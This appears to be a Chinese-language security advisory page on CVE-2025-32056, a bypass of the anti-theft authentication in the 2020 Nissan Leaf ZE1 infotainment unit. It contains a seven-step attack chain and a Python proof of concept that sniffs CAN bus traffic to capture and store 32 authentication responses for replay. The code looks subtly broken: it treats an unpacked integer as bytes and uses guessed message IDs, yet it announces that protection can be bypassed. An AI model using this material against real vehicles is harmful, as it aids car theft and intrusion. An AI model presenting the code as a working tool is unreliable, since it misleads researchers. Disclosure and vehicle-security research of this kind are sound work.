IPBUF安全漏洞报告
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CVE-2025-32056 CVSS 4.0 中危

CVE-2025-32056 日产Leaf ZE1车载娱乐系统反盗窃保护机制绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-32056
漏洞类型
身份验证绕过/弱加密算法
CVSS评分
4.0 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nissan Leaf ZE1 (2020年款)、Bosch制造的车载信息娱乐系统

相关标签

CVE-2025-32056身份验证绕过CAN总线车载娱乐系统日产Leaf反盗窃保护物联网安全汽车网络安全Bosch物理攻击

漏洞概述

CVE-2025-32056是影响日产Leaf ZE1(2020年款)车载信息娱乐系统的一个中危安全漏洞。该漏洞存在于车辆的反盗窃保护机制中,由于车载单元(head unit)的响应生成算法存在严重弱点,攻击者可以通过多种方式绕过安全验证机制。具体而言,系统使用可预测的响应算法生成认证响应,攻击者可以通过嗅探CAN总线流量直接获取所有32个对应的响应值,或者通过预计算这些值来绕过保护。这一漏洞首次由ASRG安全研究团队在Black Hat Asia 2025会议上披露,展示了现代智能网联汽车在安全设计方面的潜在风险。由于攻击需要物理接触车辆或访问CAN总线接口,攻击复杂度相对较高,但漏洞的认证绕过性质使其成为车辆安全的重大隐患。攻击成功后,攻击者可能获取车辆控制权限或敏感信息,对车主的财产安全和隐私构成威胁。

技术细节

该漏洞的核心问题在于车载信息娱乐系统的响应生成算法缺乏足够的随机性和复杂性。系统需要32个独立的响应值来完成完整的认证流程,这些响应值本应采用加密安全的随机数生成器产生,但实际实现中使用了可预测的算法或固定的映射关系。攻击者可以通过两种主要途径利用此漏洞:1)物理接触车辆,使用CAN总线适配器(如Peak PCAN或Kvaser)嗅探OBD-II端口或诊断接口的通信流量,直接捕获所有32个响应值;2)通过逆向工程分析固件或预计算算法,在不接触车辆的情况下生成有效的响应值集合。一旦攻击者获取了完整的响应值集合,就可以在后续认证尝试中重复使用这些值,绕过正常的反盗窃保护机制。该漏洞的CVSS向量为CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N,表明攻击需要物理接近车辆,但不需要认证或用户交互,影响范围涵盖多个系统组件。

攻击链分析

STEP 1
步骤1
物理接近目标车辆:攻击者需要获得日产Leaf ZE1(2020年款)的物理访问权限,或能够连接到车辆的CAN总线接口
STEP 2
步骤2
部署CAN总线嗅探设备:使用CAN总线适配器(如Peak PCAN、Kvaser或SocketCAN兼容设备)连接到车辆的OBD-II诊断端口或直接连接到CAN总线
STEP 3
步骤3
触发反盗窃认证流程:通过车载信息娱乐系统或诊断工具触发反盗窃保护认证机制,使系统开始生成响应序列
STEP 4
步骤4
嗅探并捕获CAN通信流量:使用Wireshark、candump或其他CAN分析工具捕获车载单元与ECU之间的通信数据,提取所有32个响应值
STEP 5
步骤5
建立响应值映射库:将捕获的响应值与对应的CAN消息ID和时间戳关联,建立完整的响应值数据库
STEP 6
步骤6
绕过反盗窃保护:在后续认证尝试中,攻击者可以使用预先捕获的响应值序列成功通过认证验证,无需知道原始密钥或算法
STEP 7
步骤7
获取系统访问权限:成功绕过保护后,攻击者可能获得车辆信息娱乐系统的完全控制权,或进一步扩展攻击范围至其他车辆控制系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-32056 PoC - CAN Bus Response Sniffing # This PoC demonstrates sniffing CAN traffic to capture anti-theft responses # Note: This is for educational and security research purposes only import socket import struct import time def setup_can_interface(interface='vcan0'): """Setup CAN interface for traffic sniffing""" try: sock = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) sock.bind((interface,)) return sock except Exception as e: print(f"Error setting up CAN interface: {e}") return None def sniff_antitheft_responses(can_socket, target_ids=None): """ Sniff CAN bus for anti-theft related messages target_ids: List of relevant CAN message IDs """ if target_ids is None: # Common diagnostic CAN IDs for Nissan Leaf target_ids = [0x100, 0x200, 0x300, 0x7C0, 0x7E0] responses = {} print(f"[*] Starting CAN traffic sniffing...") print(f"[*] Monitoring for {len(target_ids)} target CAN IDs") print(f"[*] Target: Capture 32 anti-theft responses") start_time = time.time() timeout = 300 # 5 minute timeout while len(responses) < 32 and (time.time() - start_time) < timeout: try: packet = can_socket.recv(16) can_id, data = struct.unpack('<IB8x', packet) # Check if message matches target IDs if can_id in target_ids and len(data) > 0: response_value = data.hex() if response_value not in responses: responses[response_value] = can_id print(f"[+] Captured response {len(responses)}/32: ID=0x{can_id:03X}, Data={response_value}") except BlockingIOError: continue except KeyboardInterrupt: print("\n[!] Sniffing interrupted by user") break return responses def main(): print("=" * 60) print("CVE-2025-32056 PoC - Nissan Leaf Anti-Theft Bypass") print("=" * 60) # Setup CAN interface (requires root privileges) can_sock = setup_can_interface('can0') if can_sock is None: print("[!] Failed to setup CAN interface. Run with sudo.") print("[!] Example: sudo python3 cve_2025_32056_poc.py") return print("\n[*] Prerequisites:") print(" - Physical access to Nissan Leaf ZE1 (2020+)") print(" - CAN bus adapter (e.g., Peak PCAN, Kvaser)") print(" - OBD-II or direct CAN bus connection") print("\n[*] Attack scenario:") print(" 1. Connect CAN adapter to vehicle OBD-II port") print(" 2. Trigger anti-theft authentication sequence") print(" 3. Sniff CAN traffic to capture all 32 responses") print(" 4. Use captured responses to bypass protection\n") # Start sniffing responses = sniff_antitheft_responses(can_sock) if len(responses) >= 32: print("\n[+] Successfully captured all 32 responses!") print("[+] Anti-theft protection can now be bypassed") # Save responses for later use with open('captured_responses.txt', 'w') as f: for i, (response, can_id) in enumerate(responses.items(), 1): f.write(f"Response {i}: CAN_ID=0x{can_id:03X}, Data={response}\n") print("[+] Responses saved to captured_responses.txt") else: print(f"\n[!] Captured only {len(responses)}/32 responses") print("[!] Try repositioning CAN adapter or checking connections") can_sock.close() if __name__ == "__main__": main()

影响范围

Nissan Leaf ZE1 (2020年款及之前使用相同固件的版本)
Bosch制造的车载信息娱乐系统固件 (使用弱响应生成算法的版本)

防御指南

临时缓解措施
由于该漏洞涉及车辆底层通信协议和硬件设计,短期内难以实施有效的临时缓解措施。建议车主限制对车辆的物理访问,避免在不可信的环境中使用OBD-II诊断服务,定期检查车辆是否存在异常的诊断端口访问痕迹。同时,关注日产官方发布的安全公告和固件更新通知,尽快安装官方发布的安全补丁。对于企业车队用户,建议与车辆安全管理团队合作,评估风险并制定相应的安全策略。由于漏洞需要物理接近才能利用,保持车辆停放在安全区域是降低风险的重要措施。

参考链接

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